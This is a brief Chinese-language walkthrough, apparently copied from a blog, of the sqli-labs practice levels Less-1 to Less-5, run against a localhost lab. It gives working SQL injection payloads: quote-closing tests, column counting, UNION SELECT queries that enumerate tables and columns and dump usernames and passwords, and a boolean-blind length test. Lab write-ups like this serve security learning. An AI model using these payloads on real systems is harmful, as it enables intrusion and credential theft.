单引号闭合,进行注释,页面回显正常

and 1=1/and 1=2判断注入点

判断字段数order by

union select联合查询判断回显点

查询数据库,当前用户

查询数据表
http://127.0.0.1/sqli/Less-1/?id=-1‘ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- qwe

查询users表中字段
http://127.0.0.1/sqli/Less-1/?id=-1‘ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘users‘ -- qwe

获取字段数据
http://127.0.0.1/sqli/Less-1/?id=-1‘ union select 1,username,password from users limit 1,1 -- qwe

判断存在注入

后续操作与Less-1相同,不在叙述。
单引号和括号闭合,注释,页面回显正常

and 1=1/and 1=2判断注入点,存在注入

双引号+口号闭合,注释,页面回显正常。

判断注入点

单引号闭合,注释,根据页面返回正确与否,判断注入点。

判断数据库名的长度,页面返回正常,数据库名长度为8
http://127.0.0.1/sqli/Less-5/?id=1‘ and length(database())=8 -- qwe

原文:https://www.cnblogs.com/clown-b/p/13627506.html